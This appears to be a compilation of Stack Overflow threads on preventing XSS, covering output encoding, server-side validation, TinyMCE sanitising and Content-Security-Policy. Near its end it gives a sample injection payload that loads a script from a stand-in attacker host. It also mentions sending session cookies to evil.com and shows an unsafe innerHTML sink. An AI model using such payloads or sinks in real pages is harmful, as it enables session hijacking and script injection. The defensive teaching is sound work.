I have a form on my page where users enter their credit card data. Is it possible in HTML to mark the form's action being constant to prevent malicious JavaScript from changing the form's action property? I can imagine an XSS attack which changes the form URL to make users posting their secret data to the attacker's site.
Is it possible? Or, is there a different feature in web browsers which prevents these kinds of attacks from happening?
This kind of attack is possible, but this is the wrong way to prevent against it. If a hacker can change the details of the form, they can just as easily send the secret data via an AJAX GET without submitting the form at all. The correct way to prevent an XSS attack is to be sure to encode all untrusted content on the page such that a hacker doesn't have the ability to execute their own JavaScript in the first place.
More on encoding...
Sample code on StackOverflow is a great example of encoding. Imagine what a mess it would be if every time someone posted some example JavaScript, it actually got executed in the browser. E.g.,
<script type="text/javascript">alert('foo');</script>
Were it not for the fact that SO encoded the above snippet, you would have just seen an alert box. This is of course a rather innocuous script - I could have coded some JavaScript that hijacked your session cookie and sent it to evil.com/hacked-sessions. Fortunately, however, SO doesn't assume that everyone is well intentioned, and actually encodes the content. If you were to view source, for example, you would see that SO has encoded my perfectly valid HTML and JavaScript into this:
<script type="text/javascript">alert('foo');</script>
So, rather than embedding actual < and > characters where I used them, they have been replaced with their HTML-encoded equivalents (< and >), which means that my code no longer represents a script tag.
Anyway, that's the general idea behind encoding. For more info on how you should be encoding, that depends on what you're using server-side, but most all web frameworks include some sort of "out-of-the-box" HTML Encoding utility. Your responsibility is to ensure that user-provided (or otherwise untrusted) content is ALWAYS encoded before being rendered.
Is there a different feature in web browsers which
prevents these kinds of attacks from happening?
Your concern has since been addressed by newer browser releases through the new Content-Security-Policy header.
By configuring script-src, you can disallow inline javascript outright. Note that this protection will not necessarily extend to users on older browsers (see CanIUse ).
Allowing only white-labeled scripts will defeat most javascript XSS attacks, but may require significant modifications to your content. Also, blocking inline javascript may be impractical if you are using a web frameworks that relies heavily on inline javascript.
Nope nothing to really prevent it.
The only thing I would suggest to do is have some server side validation of any information coming to the server from a user form.
As the saying goes: Never trust the user
Related
i got a simple project but is giving me headaches because Client-Side programming is not my thing. Basically i got a login page and the client wants that i prevent XSS attacks not allowing users not submit malicious code on username/password fields. I would do it on server side easily, but they do not want give to us access.
Any chance to someone give me hints how can i do this? Even tough i know the basics of javascript/HTML, my experience ir nearly null.
I know that are several questions about this topic, but sincerely, i got lost with all information
Best Regards
Actually you simply cannot make any reliable XSS prevention on the client side. The attacker simply disables JavaScript, and all your complicated code is non-existent. Any client-side validation is only for the convenience of the users, nothing more.
Update: The above I wrote, is true about second order (a.k.a. stored) XSS. First order XSS attacks (when the attacker creates a forged URL) can be mitigated using JavaScript.
You prevent XSS on the client in the same way that you prevent it on the server. (Note this only protects against input that is directly processed on the client, and not against code that gets submitted to the server and then passed back to a client).
Make sure you know what data format any given variable holds
Treat any user input including data from forms, data from URLs, etc) as plain text
Encode it appropriately for where ever you put it, using native methods for handling the data where possible
For example, if you wanted to display the fragment id in a div you would:
div.appendChild(document.createTextNode(location.hash));
Do not just allow raw input to be parsed as HTML:
// DANGER
div.innerHTML = location.hash;
This, of course, only protects the page from data submitted to the client side code.
There is no way to use client side code to prevent malicious data from being submitted to the server side code. The client has total control over the client side code, so it can be bypassed very easily.
If you read input from outside the server and then output it to a webpage then you must have server side protection from XSS.
I was curious, whether XSS is still possible today. I read a lot about browsers preventing it, but I seem I have missed something.
I tried a couple approaches myself, including the simplest ways, AJAX calls (luckily blocked by the browser) and viewing the content of an <iframe> and <frameset>, no success either way.
I read about DOM XSS, but that will only work, if the host has a page where it echoes content from the URL parameters.
Question:
Are modern browsers safe or are there any reasons why I should logout of every service I use before leaving a page?
whether XSS is still possible today.
Yes, it is.
will only work, if the host has a page where it echoes content from the URL parameters.
XSS is possible when any user input is output (either immediately (for a reflected attack) or later, possible to a different person (for a stored attack). That is what XSS is.
The Same Origin Policy (and related security features that prevent access to content on a different origin) has nothing to do with XSS.
Are modern browsers safe
XSS is a vulnerability in code provided by the server that takes user input and does something with it. There is no way to tell if user input is an XSS attack or a legitimate submission of data that includes live code. It has to be dealt with by server provided code since the input has to be treated with context sensitivity.
I have used tinymce as a part of a forum feature on my site. I am taking the innerHTML of the textarea and storing it inside a SQL database.
I retrieve the markup when viewing thread posts.
Is there any security concerns doing what I am doing? Does tinymce have any inbuilt features to stop malicious content / markup being added and therefore saved?
TinyMce does a pretty good job ant content scrubbing and input cleanup (on the client side). Being a very popular web rich text editor, the creators have spent a lot of work on making it fairly secure in terms of preventing simple copy and paste of malicious content in to the editor. You can do things like enable/disable cleanup, specify what tags/attributes/characters are allowed, etc.
See the TinyMce Configurations Page. Options of note include: valid_elements, invalid_elements, verify_html, valid_styles, invalid_styles, and extended_valid_elements
Also: instead of grabbing the innerHtml of the textarea, you should probably use tinyMce's getContent() function. see: getContent()
BUT this is all client-side javascript!
Although these featuers are nice, all of this cleanup still happens on the client. So conceivably, the client JS could be modified to stop escaping/removing malicious content. Or someone could POST bad data to your request handlers without ever going thru the browser (using curl, or any other number of tools).
So tinyMce provides a nice baseline of client scrubbing, however to be secure, the server should assume that anything it is being sent is dirty and should thus treat all content with caution.
Things that can be done by the server:
Even if you implement the most sophisticated client-side validation/scrubbing/prevention, that is worthless as far as your backend's security is concerned. An excellent reference for preventing malicious data injections can be found on the OWASP Cross Site Scripting Prevention Cheat Sheet and the OWASP SQL Injection Prevention Cheat Sheet. Not only do you have to protect against SQL injection type attacks, but also XSS attacks if any user submitted data will be displayed on the website for other unsuspecting users to view.
In addition to sanitizing user input data on the server, you can also try things such as mod_security to squash requests that contain certain patterns that are indicative of malicious requests. You can also enforce max length of inputs on both the client and server side, as well as adding a max request size for your server to make sure someone doesn't try and send a GB of data. How to set a max request size will vary from server to server. Violations of max request size should result in a HTTP 413/Request Entity Too Large
Further to #jCuga's excellent answer, you should implement a Content Security Policy on any pages where you output the rich text.
This allows you to effectively stop inline script from being executed by the browser. It is currently supported by modern browsers such as Chrome and Firefox.
This is done by a HTTP response header from your page.
e.g.
Content-Security-Policy: script-src 'self' https://apis.google.com
will stop inline JavaScript from being executed if a user managed to inject it into your page (it will be ignored with a warning), but will allow script tags referencing either your own server or https://apis.google.com. This can be customised to your needs as required.
Even if you use a HTML sanitizer to strip any malicious tags, it is a good idea to use this in combination with a CSP just in case anything slips through the net.
I am building a website which uses a lot of javascripts. I want to know if a user can edit the js too along with seeing it.
For example, I have an ajax function which calls a.php. Can user just edit the js function in firebug or something similar to make it b.php which I want don't want to be available to everybody.
Similarly, I call an ajax function with parameter x. Is it possible for a user to make that parameter y and then call that function.
Yes. Anything in the user's browser is under the control of the user.
You have control over nothing beyond the edge of your HTTP server.
Anything that is front end, that means, HTML, CSS javascript in any of its forms or any other scripting client side languages can be modified and it is your job as a web developer to expect them to be modified by curiosity of the user or just to try and find vulnerabilities.
That is why while having client side validations (javascript in any form or just HTML5 ones), it is also of utter importance that you actually validate this stuff on server side, with whatever language you are using (PHP, Ruby, ASP just to give a few examples).
On Chrome, users can easily press F12 on their keyboard to see your javascript/html/css code and try to modify it, we as web designers/developers do it as well for just inspiration, check out how something works, and well expect other people with different intentions to do it.
Same goes with Firefox, opera and pretty much any other web explorer.
Your job is not to prevent this, but to prevent that when someone changes something on the client side, the server side is ready to respond back in an appropriate way, preventing harm to the information on your servers.
To give a concrete example, that is why people take so much time in making sure queries to databases are sanitized, and not subjected to sql injections. More information about those here: http://www.unixwiz.net/techtips/sql-injection.html
So no, you can't prevent users from modifying your front end files, at most you can try some practices I've seen around like disabling right click (really annoying).
We have a very simple api and want to return to render some content on the another site. I want to do send something like from our api endpoint(for example http://domain.com/api/endpoint/1 which is just included like <script src='http://domain/api/endpoint/1'></script>):
document.write('here is my value<br />');
document.write('Let me give you some inforamtion about this<br />');
and just escape it. There's no concern about https or the content. Two people have vaguely told me that they think this is unsafe but I don't really see how it is if we handle it correctly on our side (which would be true anyway)? Is this safe? Am I missing anything? JSONP is overkill for something like this - we want the most simple technique possible.
thx in advance
There's no security issue with the fact that you're including a script from one domain onto a web page on another, as long as you control both domains. There are plenty of sites that serve their script tags from CDN or from content subdomains or whole other domains.
The use of document.write is obsolete and probably will cause you headaches.
The only security concerns you would have is if your API allows user content to be document.write'ed onto the page, as then you become vulnerable to cross site scripting attacks, where someone sets their username as something like this:
/><script>document.write('<script src="myevilpage.com"></script>'</script>
and then your code happily injects that onto the page and everyone who then visits it gets a virus and their computer explodes.
Generally you will want to escape any user based input before sending it on your API, also sanitize it in your javascript and then insert it into the page as a textNode or similar trick to stop people being able to manipulate your page.